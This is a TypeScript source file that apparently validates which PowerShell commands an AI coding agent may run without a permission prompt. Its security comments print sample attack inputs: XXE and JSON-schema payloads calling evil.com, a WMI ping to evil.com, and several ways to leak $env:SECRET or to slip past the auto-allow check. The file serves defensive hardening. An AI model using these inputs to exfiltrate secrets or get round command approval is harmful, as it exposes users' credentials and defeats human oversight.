forked from ultraworkers/claw-code
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathreadOnlyValidation.ts
More file actions
1823 lines (1718 loc) · 65.7 KB
/
Copy pathreadOnlyValidation.ts
File metadata and controls
1823 lines (1718 loc) · 65.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/**
* PowerShell read-only command validation.
*
* Cmdlets are case-insensitive; all matching is done in lowercase.
*/
import type {
ParsedCommandElement,
ParsedPowerShellCommand,
} from '../../utils/powershell/parser.js'
type ParsedStatement = ParsedPowerShellCommand['statements'][number]
import { getPlatform } from '../../utils/platform.js'
import {
COMMON_ALIASES,
deriveSecurityFlags,
getPipelineSegments,
isNullRedirectionTarget,
isPowerShellParameter,
} from '../../utils/powershell/parser.js'
import type { ExternalCommandConfig } from '../../utils/shell/readOnlyCommandValidation.js'
import {
DOCKER_READ_ONLY_COMMANDS,
EXTERNAL_READONLY_COMMANDS,
GH_READ_ONLY_COMMANDS,
GIT_READ_ONLY_COMMANDS,
validateFlags,
} from '../../utils/shell/readOnlyCommandValidation.js'
import { COMMON_PARAMETERS } from './commonParameters.js'
const DOTNET_READ_ONLY_FLAGS = new Set([
'--version',
'--info',
'--list-runtimes',
'--list-sdks',
])
type CommandConfig = {
/** Safe subcommands or flags for this command */
safeFlags?: string[]
/**
* When true, all flags are allowed regardless of safeFlags.
* Use for commands whose entire flag surface is read-only (e.g., hostname).
* Without this, an empty/missing safeFlags rejects all flags (positional
* args only).
*/
allowAllFlags?: boolean
/** Regex constraint on the original command */
regex?: RegExp
/** Additional validation callback - returns true if command is dangerous */
additionalCommandIsDangerousCallback?: (
command: string,
element?: ParsedCommandElement,
) => boolean
}
/**
* Shared callback for cmdlets that print or coerce their args to stdout/
* stderr. `Write-Output $env:SECRET` prints it directly; `Start-Sleep
* $env:SECRET` leaks via type-coerce error ("Cannot convert value 'sk-...'
* to System.Double"). Bash's echo regex WHITELISTS safe chars per token.
*
* Two checks:
* 1. elementTypes whitelist — StringConstant (literals) + Parameter (flag
* names). Rejects Variable, Other (HashtableAst/ConvertExpressionAst/
* BinaryExpressionAst all map to Other), ScriptBlock, SubExpression,
* ExpandableString. Same pattern as SAFE_PATH_ELEMENT_TYPES.
* 2. Colon-bound parameter value — `-InputObject:$env:SECRET` creates a
* SINGLE CommandParameterAst; the VariableExpressionAst is its .Argument
* child, not a separate CommandElement. elementTypes = [..., 'Parameter'],
* whitelist passes. Query children[] for the .Argument's mapped type;
* anything other than StringConstant (Variable, ParenExpression wrapping
* arbitrary pipelines, Hashtable, etc.) is a leak vector.
*/
export function argLeaksValue(
_cmd: string,
element?: ParsedCommandElement,
): boolean {
const argTypes = (element?.elementTypes ?? []).slice(1)
const args = element?.args ?? []
const children = element?.children
for (let i = 0; i < argTypes.length; i++) {
if (argTypes[i] !== 'StringConstant' && argTypes[i] !== 'Parameter') {
// ArrayLiteralAst (`Select-Object Name, Id`) maps to 'Other' — the
// parse script only populates children for CommandParameterAst.Argument,
// so we can't inspect elements. Fall back to string-archaeology on the
// extent text: Hashtable has `@{`, ParenExpr has `(`, variables have
// `$`, type literals have `[`, scriptblocks have `{`. A comma-list of
// bare identifiers has none. `Name, $x` still rejects on `$`.
if (!/[$(@{[]/.test(args[i] ?? '')) {
continue
}
return true
}
if (argTypes[i] === 'Parameter') {
const paramChildren = children?.[i]
if (paramChildren) {
if (paramChildren.some(c => c.type !== 'StringConstant')) {
return true
}
} else {
// Fallback: string-archaeology on arg text (pre-children parsers).
// Reject `$` (variable), `(` (ParenExpressionAst), `@` (hash/array
// sub), `{` (scriptblock), `[` (type literal/static method).
const arg = args[i] ?? ''
const colonIdx = arg.indexOf(':')
if (colonIdx > 0 && /[$(@{[]/.test(arg.slice(colonIdx + 1))) {
return true
}
}
}
}
return false
}
/**
* Allowlist of PowerShell cmdlets that are considered read-only.
* Each cmdlet maps to its configuration including safe flags.
*
* Note: PowerShell cmdlets are case-insensitive, so we store keys in lowercase
* and normalize input for matching.
*
* Uses Object.create(null) to prevent prototype-chain pollution — attacker-
* controlled command names like 'constructor' or '__proto__' must return
* undefined, not inherited Object.prototype properties. Same defense as
* COMMON_ALIASES in parser.ts.
*/
export const CMDLET_ALLOWLIST: Record<string, CommandConfig> = Object.assign(
Object.create(null) as Record<string, CommandConfig>,
{
// =========================================================================
// PowerShell Cmdlets - Filesystem (read-only)
// =========================================================================
'get-childitem': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Filter',
'-Include',
'-Exclude',
'-Recurse',
'-Depth',
'-Name',
'-Force',
'-Attributes',
'-Directory',
'-File',
'-Hidden',
'-ReadOnly',
'-System',
],
},
'get-content': {
safeFlags: [
'-Path',
'-LiteralPath',
'-TotalCount',
'-Head',
'-Tail',
'-Raw',
'-Encoding',
'-Delimiter',
'-ReadCount',
],
},
'get-item': {
safeFlags: ['-Path', '-LiteralPath', '-Force', '-Stream'],
},
'get-itemproperty': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'test-path': {
safeFlags: [
'-Path',
'-LiteralPath',
'-PathType',
'-Filter',
'-Include',
'-Exclude',
'-IsValid',
'-NewerThan',
'-OlderThan',
],
},
'resolve-path': {
safeFlags: ['-Path', '-LiteralPath', '-Relative'],
},
'get-filehash': {
safeFlags: ['-Path', '-LiteralPath', '-Algorithm', '-InputStream'],
},
'get-acl': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Audit',
'-Filter',
'-Include',
'-Exclude',
],
},
// =========================================================================
// PowerShell Cmdlets - Navigation (read-only, just changes working directory)
// =========================================================================
'set-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'push-location': {
safeFlags: ['-Path', '-LiteralPath', '-PassThru', '-StackName'],
},
'pop-location': {
safeFlags: ['-PassThru', '-StackName'],
},
// =========================================================================
// PowerShell Cmdlets - Text searching/filtering (read-only)
// =========================================================================
'select-string': {
safeFlags: [
'-Path',
'-LiteralPath',
'-Pattern',
'-InputObject',
'-SimpleMatch',
'-CaseSensitive',
'-Quiet',
'-List',
'-NotMatch',
'-AllMatches',
'-Encoding',
'-Context',
'-Raw',
'-NoEmphasis',
],
},
// =========================================================================
// PowerShell Cmdlets - Data conversion (pure transforms, no side effects)
// =========================================================================
'convertto-json': {
safeFlags: [
'-InputObject',
'-Depth',
'-Compress',
'-EnumsAsStrings',
'-AsArray',
],
},
'convertfrom-json': {
safeFlags: ['-InputObject', '-Depth', '-AsHashtable', '-NoEnumerate'],
},
'convertto-csv': {
safeFlags: [
'-InputObject',
'-Delimiter',
'-NoTypeInformation',
'-NoHeader',
'-UseQuotes',
],
},
'convertfrom-csv': {
safeFlags: ['-InputObject', '-Delimiter', '-Header', '-UseCulture'],
},
'convertto-xml': {
safeFlags: ['-InputObject', '-Depth', '-As', '-NoTypeInformation'],
},
'convertto-html': {
safeFlags: [
'-InputObject',
'-Property',
'-Head',
'-Title',
'-Body',
'-Pre',
'-Post',
'-As',
'-Fragment',
],
},
'format-hex': {
safeFlags: [
'-Path',
'-LiteralPath',
'-InputObject',
'-Encoding',
'-Count',
'-Offset',
],
},
// =========================================================================
// PowerShell Cmdlets - Object inspection and manipulation (read-only)
// =========================================================================
'get-member': {
safeFlags: [
'-InputObject',
'-MemberType',
'-Name',
'-Static',
'-View',
'-Force',
],
},
'get-unique': {
safeFlags: ['-InputObject', '-AsString', '-CaseInsensitive', '-OnType'],
},
'compare-object': {
safeFlags: [
'-ReferenceObject',
'-DifferenceObject',
'-Property',
'-SyncWindow',
'-CaseSensitive',
'-Culture',
'-ExcludeDifferent',
'-IncludeEqual',
'-PassThru',
],
},
// SECURITY: select-xml REMOVED. XML external entity (XXE) resolution can
// trigger network requests via DOCTYPE SYSTEM/PUBLIC references in -Content
// or -Xml. `Select-Xml -Content '<!DOCTYPE x [<!ENTITY e SYSTEM
// "http://evil.com/x">]><x>&e;</x>' -XPath '/'` sends a GET request.
// PowerShell's XmlDocument.LoadXml doesn't disable entity resolution by
// default. Removal forces prompt.
'join-string': {
safeFlags: [
'-InputObject',
'-Property',
'-Separator',
'-OutputPrefix',
'-OutputSuffix',
'-SingleQuote',
'-DoubleQuote',
'-FormatString',
],
},
// SECURITY: Test-Json REMOVED. -Schema (positional 1) accepts JSON Schema
// with $ref pointing to external URLs — Test-Json fetches them (network
// request). safeFlags only validates EXPLICIT flags, not positional binding:
// `Test-Json '{}' '{"$ref":"http://evil.com"}'` → position 1 binds to
// -Schema → safeFlags check sees two non-flag args, skips both → auto-allow.
'get-random': {
safeFlags: [
'-InputObject',
'-Minimum',
'-Maximum',
'-Count',
'-SetSeed',
'-Shuffle',
],
},
// =========================================================================
// PowerShell Cmdlets - Path utilities (read-only)
// =========================================================================
// convert-path's entire purpose is to resolve filesystem paths. It is now
// in CMDLET_PATH_CONFIG for proper path validation, so safeFlags here only
// list the path parameters (which CMDLET_PATH_CONFIG will validate).
'convert-path': {
safeFlags: ['-Path', '-LiteralPath'],
},
'join-path': {
// -Resolve removed: it touches the filesystem to verify the joined path
// exists, but the path was not validated against allowed directories.
// Without -Resolve, Join-Path is pure string manipulation.
safeFlags: ['-Path', '-ChildPath', '-AdditionalChildPath'],
},
'split-path': {
// -Resolve removed: same rationale as join-path. Without -Resolve,
// Split-Path is pure string manipulation.
safeFlags: [
'-Path',
'-LiteralPath',
'-Qualifier',
'-NoQualifier',
'-Parent',
'-Leaf',
'-LeafBase',
'-Extension',
'-IsAbsolute',
],
},
// =========================================================================
// PowerShell Cmdlets - Additional system info (read-only)
// =========================================================================
// NOTE: Get-Clipboard is intentionally NOT included - it can expose sensitive
// data like passwords or API keys that the user may have copied. Bash also
// does not auto-allow clipboard commands (pbpaste, xclip, etc.).
'get-hotfix': {
safeFlags: ['-Id', '-Description'],
},
'get-itempropertyvalue': {
safeFlags: ['-Path', '-LiteralPath', '-Name'],
},
'get-psprovider': {
safeFlags: ['-PSProvider'],
},
// =========================================================================
// PowerShell Cmdlets - Process/System info
// =========================================================================
'get-process': {
safeFlags: [
'-Name',
'-Id',
'-Module',
'-FileVersionInfo',
'-IncludeUserName',
],
},
'get-service': {
safeFlags: [
'-Name',
'-DisplayName',
'-DependentServices',
'-RequiredServices',
'-Include',
'-Exclude',
],
},
'get-computerinfo': {
allowAllFlags: true,
},
'get-host': {
allowAllFlags: true,
},
'get-date': {
safeFlags: ['-Date', '-Format', '-UFormat', '-DisplayHint', '-AsUTC'],
},
'get-location': {
safeFlags: ['-PSProvider', '-PSDrive', '-Stack', '-StackName'],
},
'get-psdrive': {
safeFlags: ['-Name', '-PSProvider', '-Scope'],
},
// SECURITY: Get-Command REMOVED from allowlist. -Name (positional 0,
// ValueFromPipeline=true) triggers module autoload which runs .psm1 init
// code. Chain attack: pre-plant module in PSModulePath, trigger autoload.
// Previously tried removing -Name/-Module from safeFlags + rejecting
// positional StringConstant, but pipeline input (`'EvilCmdlet' | Get-Command`)
// bypasses the callback entirely since args are empty. Removal forces
// prompt. Users who need it can add explicit allow rule.
'get-module': {
safeFlags: [
'-Name',
'-ListAvailable',
'-All',
'-FullyQualifiedName',
'-PSEdition',
],
},
// SECURITY: Get-Help REMOVED from allowlist. Same module autoload hazard
// as Get-Command (-Name has ValueFromPipeline=true, pipeline input bypasses
// arg-level callback). Removal forces prompt.
'get-alias': {
safeFlags: ['-Name', '-Definition', '-Scope', '-Exclude'],
},
'get-history': {
safeFlags: ['-Id', '-Count'],
},
'get-culture': {
allowAllFlags: true,
},
'get-uiculture': {
allowAllFlags: true,
},
'get-timezone': {
safeFlags: ['-Name', '-Id', '-ListAvailable'],
},
'get-uptime': {
allowAllFlags: true,
},
// =========================================================================
// PowerShell Cmdlets - Output & misc (no side effects)
// =========================================================================
// Bash parity: `echo` is auto-allowed via custom regex (BashTool
// readOnlyValidation.ts:~1517). That regex WHITELISTS safe chars per arg.
// See argLeaksValue above for the three attack shapes it blocks.
'write-output': {
safeFlags: ['-InputObject', '-NoEnumerate'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Write-Host bypasses the pipeline (Information stream, PS5+), so it's
// strictly less capable than Write-Output — but the same
// `Write-Host $env:SECRET` leak-via-display applies.
'write-host': {
safeFlags: [
'-Object',
'-NoNewline',
'-Separator',
'-ForegroundColor',
'-BackgroundColor',
],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Bash parity: `sleep` is in READONLY_COMMANDS (BashTool
// readOnlyValidation.ts:~1146). Zero side effects at runtime — but
// `Start-Sleep $env:SECRET` leaks via type-coerce error. Same guard.
'start-sleep': {
safeFlags: ['-Seconds', '-Milliseconds', '-Duration'],
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Format-* and Measure-Object moved here from SAFE_OUTPUT_CMDLETS after
// security review found all accept calculated-property hashtables (same
// exploit as Where-Object — I4 regression). isSafeOutputCommand is a
// NAME-ONLY check that filtered them out of the approval loop BEFORE arg
// validation. Here, argLeaksValue validates args:
// | Format-Table → no args → safe → allow
// | Format-Table Name, CPU → StringConstant positionals → safe → allow
// | Format-Table $env:SECRET → Variable elementType → blocked → passthrough
// | Format-Table @{N='x';E={}} → Other (HashtableAst) → blocked → passthrough
// | Measure-Object -Property $env:SECRET → same → blocked
// allowAllFlags: argLeaksValue validates arg elementTypes (Variable/Hashtable/
// ScriptBlock → blocked). Format-* flags themselves (-AutoSize, -GroupBy,
// -Wrap, etc.) are display-only. Without allowAllFlags, the empty-safeFlags
// default rejects ALL flags — `Format-Table -AutoSize` would over-prompt.
'format-table': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-list': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-wide': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'format-custom': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'measure-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Select-Object/Sort-Object/Group-Object/Where-Object: same calculated-
// property hashtable surface as format-* (about_Calculated_Properties).
// Removed from SAFE_OUTPUT_CMDLETS but previously missing here, causing
// `Get-Process | Select-Object Name` to over-prompt. argLeaksValue handles
// them identically: StringConstant property names pass (`Select-Object Name`),
// HashtableAst/ScriptBlock/Variable args block (`Select-Object @{N='x';E={...}}`,
// `Where-Object { ... }`). allowAllFlags: -First/-Last/-Skip/-Descending/
// -Property/-EQ etc. are all selection/ordering flags — harmless on their own;
// argLeaksValue catches the dangerous arg *values*.
'select-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'sort-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'group-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'where-object': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// Out-String/Out-Host moved here from SAFE_OUTPUT_CMDLETS — both accept
// -InputObject which leaks the same way Write-Output does.
// `Get-Process | Out-String -InputObject $env:SECRET` → secret prints.
// allowAllFlags: -Width/-Stream/-Paging/-NoNewline are display flags;
// argLeaksValue catches the dangerous -InputObject *value*.
'out-string': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
'out-host': {
allowAllFlags: true,
additionalCommandIsDangerousCallback: argLeaksValue,
},
// =========================================================================
// PowerShell Cmdlets - Network info (read-only)
// =========================================================================
'get-netadapter': {
safeFlags: [
'-Name',
'-InterfaceDescription',
'-InterfaceIndex',
'-Physical',
],
},
'get-netipaddress': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-Type',
],
},
'get-netipconfiguration': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias', '-Detailed', '-All'],
},
'get-netroute': {
safeFlags: [
'-InterfaceIndex',
'-InterfaceAlias',
'-AddressFamily',
'-DestinationPrefix',
],
},
'get-dnsclientcache': {
// SECURITY: -CimSession/-ThrottleLimit excluded. -CimSession connects to
// a remote host (network request). Previously empty config = all flags OK.
safeFlags: ['-Entry', '-Name', '-Type', '-Status', '-Section', '-Data'],
},
'get-dnsclient': {
safeFlags: ['-InterfaceIndex', '-InterfaceAlias'],
},
// =========================================================================
// PowerShell Cmdlets - Event log (read-only)
// =========================================================================
'get-eventlog': {
safeFlags: [
'-LogName',
'-Newest',
'-After',
'-Before',
'-EntryType',
'-Index',
'-InstanceId',
'-Message',
'-Source',
'-UserName',
'-AsBaseObject',
'-List',
],
},
'get-winevent': {
// SECURITY: -FilterXml/-FilterHashtable removed. -FilterXml accepts XML
// with DOCTYPE external entities (XXE → network request). -FilterHashtable
// would be caught by the elementTypes 'Other' check since @{} is
// HashtableAst, but removal is explicit. Same XXE hazard as Select-Xml
// (removed above). -FilterXPath kept (string pattern only, no entity
// resolution). -ComputerName/-Credential also implicitly excluded.
safeFlags: [
'-LogName',
'-ListLog',
'-ListProvider',
'-ProviderName',
'-Path',
'-MaxEvents',
'-FilterXPath',
'-Force',
'-Oldest',
],
},
// =========================================================================
// PowerShell Cmdlets - WMI/CIM
// =========================================================================
// SECURITY: Get-WmiObject and Get-CimInstance REMOVED. They actively
// trigger network requests via classes like Win32_PingStatus (sends ICMP
// when enumerated) and can query remote computers via -ComputerName/
// CimSession. -Class/-ClassName/-Filter/-Query accept arbitrary WMI
// classes/WQL that we cannot statically validate.
// PoC: Get-WmiObject -Class Win32_PingStatus -Filter 'Address="evil.com"'
// → sends ICMP to evil.com (DNS leak + potential NTLM auth leak).
// WMI can also auto-load provider DLLs (init code). Removal forces prompt.
// get-cimclass stays — only lists class metadata, no instance enumeration.
'get-cimclass': {
safeFlags: [
'-ClassName',
'-Namespace',
'-MethodName',
'-PropertyName',
'-QualifierName',
],
},
// =========================================================================
// Git - uses shared external command validation with per-flag checking
// =========================================================================
git: {},
// =========================================================================
// GitHub CLI (gh) - uses shared external command validation
// =========================================================================
gh: {},
// =========================================================================
// Docker - uses shared external command validation
// =========================================================================
docker: {},
// =========================================================================
// Windows-specific system commands
// =========================================================================
ipconfig: {
// SECURITY: On macOS, `ipconfig set <iface> <mode>` configures network
// (writes system config). safeFlags only validates FLAGS, positional args
// are SKIPPED. Reject any positional argument — only bare `ipconfig` or
// `ipconfig /all` (read-only display) allowed. Windows ipconfig only uses
// /flags (display), macOS ipconfig uses subcommands (get/set/waitall).
safeFlags: ['/all', '/displaydns', '/allcompartments'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
return (element?.args ?? []).some(
a => !a.startsWith('/') && !a.startsWith('-'),
)
},
},
netstat: {
safeFlags: [
'-a',
'-b',
'-e',
'-f',
'-n',
'-o',
'-p',
'-q',
'-r',
'-s',
'-t',
'-x',
'-y',
],
},
systeminfo: {
safeFlags: ['/FO', '/NH'],
},
tasklist: {
safeFlags: ['/M', '/SVC', '/V', '/FI', '/FO', '/NH'],
},
// where.exe: Windows PATH locator, bash `which` equivalent. Reaches here via
// SAFE_EXTERNAL_EXES bypass at the nameType gate in isAllowlistedCommand.
// All flags are read-only (/R /F /T /Q), matching bash's treatment of `which`
// in BashTool READONLY_COMMANDS.
'where.exe': {
allowAllFlags: true,
},
hostname: {
// SECURITY: `hostname NAME` on Linux/macOS SETS the hostname (writes to
// system config). `hostname -F FILE` / `--file=FILE` also sets from file.
// Only allow bare `hostname` and known read-only flags.
safeFlags: ['-a', '-d', '-f', '-i', '-I', '-s', '-y', '-A'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// Reject any positional (non-flag) argument — sets hostname.
return (element?.args ?? []).some(a => !a.startsWith('-'))
},
},
whoami: {
safeFlags: [
'/user',
'/groups',
'/claims',
'/priv',
'/logonid',
'/all',
'/fo',
'/nh',
],
},
ver: {
allowAllFlags: true,
},
arp: {
safeFlags: ['-a', '-g', '-v', '-N'],
},
route: {
safeFlags: ['print', 'PRINT', '-4', '-6'],
additionalCommandIsDangerousCallback: (
_cmd: string,
element?: ParsedCommandElement,
) => {
// SECURITY: route.exe syntax is `route [-f] [-p] [-4|-6] VERB [args...]`.
// The first non-flag positional is the verb. `route add 10.0.0.0 mask
// 255.0.0.0 192.168.1.1 print` adds a route (print is a trailing display
// modifier). The old check used args.some('print') which matched 'print'
// anywhere — position-insensitive.
if (!element) {
return true
}
const verb = element.args.find(a => !a.startsWith('-'))
return verb?.toLowerCase() !== 'print'
},
},
// netsh: intentionally NOT allowlisted. Three rounds of denylist gaps in PR
// #22060 (verb position → dash flags → slash flags → more verbs) proved
// the grammar is too complex to allowlist safely: 3-deep context nesting
// (`netsh interface ipv4 show addresses`), dual-prefix flags (-f / /f),
// script execution via -f and `exec`, remote RPC via -r, offline-mode
// commit, wlan connect/disconnect, etc. Each denylist expansion revealed
// another gap. `route` stays — `route print` is the only read-only form,
// simple single-verb-position grammar.
getmac: {
safeFlags: ['/FO', '/NH', '/V'],
},
// =========================================================================
// Cross-platform CLI tools
// =========================================================================
// File inspection
// SECURITY: file -C compiles a magic database and WRITES to disk. Only
// allow introspection flags; reject -C / --compile / -m / --magic-file.
file: {
safeFlags: [
'-b',
'--brief',
'-i',
'--mime',
'-L',
'--dereference',
'--mime-type',
'--mime-encoding',
'-z',
'--uncompress',
'-p',
'--preserve-date',
'-k',
'--keep-going',
'-r',
'--raw',
'-v',
'--version',
'-0',
'--print0',
'-s',
'--special-files',
'-l',
'-F',
'--separator',
'-e',
'-P',
'-N',
'--no-pad',
'-E',
'--extension',
],
},
tree: {
safeFlags: ['/F', '/A', '/Q', '/L'],
},
findstr: {
safeFlags: [
'/B',
'/E',
'/L',
'/R',
'/S',
'/I',
'/X',
'/V',
'/N',
'/M',
'/O',
'/P',
// Flag matching strips ':' before comparison (e.g., /C:pattern → /C),
// so these entries must NOT include the trailing colon.
'/C',
'/G',
'/D',
'/A',
],
},
// =========================================================================
// Package managers - uses shared external command validation
// =========================================================================
dotnet: {},
// SECURITY: man and help direct entries REMOVED. They aliased Get-Help
// (also removed — see above). Without these entries, lookupAllowlist
// resolves via COMMON_ALIASES to 'get-help' which is not in allowlist →
// prompt. Same module-autoload hazard as Get-Help.
},
)
/**
* Safe output/formatting cmdlets that can receive piped input.
* Stored as canonical cmdlet names in lowercase.
*/
const SAFE_OUTPUT_CMDLETS = new Set([
'out-null',
// NOT out-string/out-host — both accept -InputObject which leaks args the
// same way Write-Output does. Moved to CMDLET_ALLOWLIST with argLeaksValue.
// `Get-Process | Out-String -InputObject $env:SECRET` — Out-String was
// filtered name-only, the $env arg was never validated.
// out-null stays: it discards everything, no -InputObject leak.
// NOT foreach-object / where-object / select-object / sort-object /
// group-object / format-table / format-list / format-wide / format-custom /
// measure-object — ALL accept calculated-property hashtables or script-block
// predicates that evaluate arbitrary expressions at runtime
// (about_Calculated_Properties). Examples:
// Where-Object @{k=$env:SECRET} — HashtableAst arg, 'Other' elementType
// Select-Object @{N='x';E={...}} — calculated property scriptblock
// Format-Table $env:SECRET — positional -Property, prints as header
// Measure-Object -Property $env:SECRET — leaks via "property 'sk-...' not found"
// ForEach-Object { $env:PATH='e' } — arbitrary script body
// isSafeOutputCommand is a NAME-ONLY check — step-5 filters these out of
// the approval loop BEFORE arg validation runs. With them here, an
// all-safe-output tail auto-allows on empty subCommands regardless of
// what the arg contains. Removing them forces the tail through arg-level
// validation (hashtable is 'Other' elementType → fails the whitelist at
// isAllowlistedCommand → ask; bare $var is 'Variable' → same).
//
// NOT write-output — pipeline-initial $env:VAR is a VariableExpressionAst,
// skipped by getSubCommandsForPermissionCheck (non-CommandAst). With
// write-output here, `$env:SECRET | Write-Output` → WO filtered as
// safe-output → empty subCommands → auto-allow → secret prints. The
// CMDLET_ALLOWLIST entry handles direct `Write-Output 'literal'`.
])
/**
* Cmdlets moved from SAFE_OUTPUT_CMDLETS to CMDLET_ALLOWLIST with
* argLeaksValue. These are pipeline-tail transformers (Format-*,
* Measure-Object, Select-Object, etc.) that were previously name-only
* filtered as safe-output. They now require arg validation (argLeaksValue
* blocks calculated-property hashtables / scriptblocks / variable args).
*
* Used by isAllowlistedPipelineTail for the narrow fallback in
* checkPermissionMode and isReadOnlyCommand — these callers need the same
* "skip harmless pipeline tail" behavior as SAFE_OUTPUT_CMDLETS but with
* the argLeaksValue guard.
*/
const PIPELINE_TAIL_CMDLETS = new Set([
'format-table',
'format-list',
'format-wide',
'format-custom',
'measure-object',
'select-object',
'sort-object',
'group-object',
'where-object',
'out-string',
'out-host',
])
/**
* External .exe names allowed past the nameType='application' gate.
*
* classifyCommandName returns 'application' for any name containing a dot,
* which the nameType gate at isAllowlistedCommand rejects before allowlist
* lookup. That gate exists to block scripts\Get-Process → stripModulePrefix →
* cmd.name='Get-Process' spoofing. But it also catches benign PATH-resolved
* .exe names like where.exe (bash `which` equivalent — pure read, no dangerous
* flags).
*
* SECURITY: the bypass checks the raw first token of cmd.text, NOT cmd.name.
* stripModulePrefix collapses scripts\where.exe → cmd.name='where.exe', but
* cmd.text preserves the raw 'scripts\where.exe ...'. Matching cmd.text's
* first token defeats that spoofing — only a bare `where.exe` (PATH lookup)
* gets through.
*
* Each entry here MUST have a matching CMDLET_ALLOWLIST entry for flag
* validation.
*/
const SAFE_EXTERNAL_EXES = new Set(['where.exe'])
/**
* Windows PATHEXT extensions that PowerShell resolves via PATH lookup.
* `git.exe`, `git.cmd`, `git.bat`, `git.com` all invoke git at runtime and
* must resolve to the same canonical name so git-safety guards fire.
* .ps1 is intentionally excluded — a script named git.ps1 is not the git
* binary and does not trigger git's hook mechanism.
*/
const WINDOWS_PATHEXT = /\.(exe|cmd|bat|com)$/
/**
* Resolves a command name to its canonical cmdlet name using COMMON_ALIASES.
* Strips Windows executable extensions (.exe, .cmd, .bat, .com) from path-free
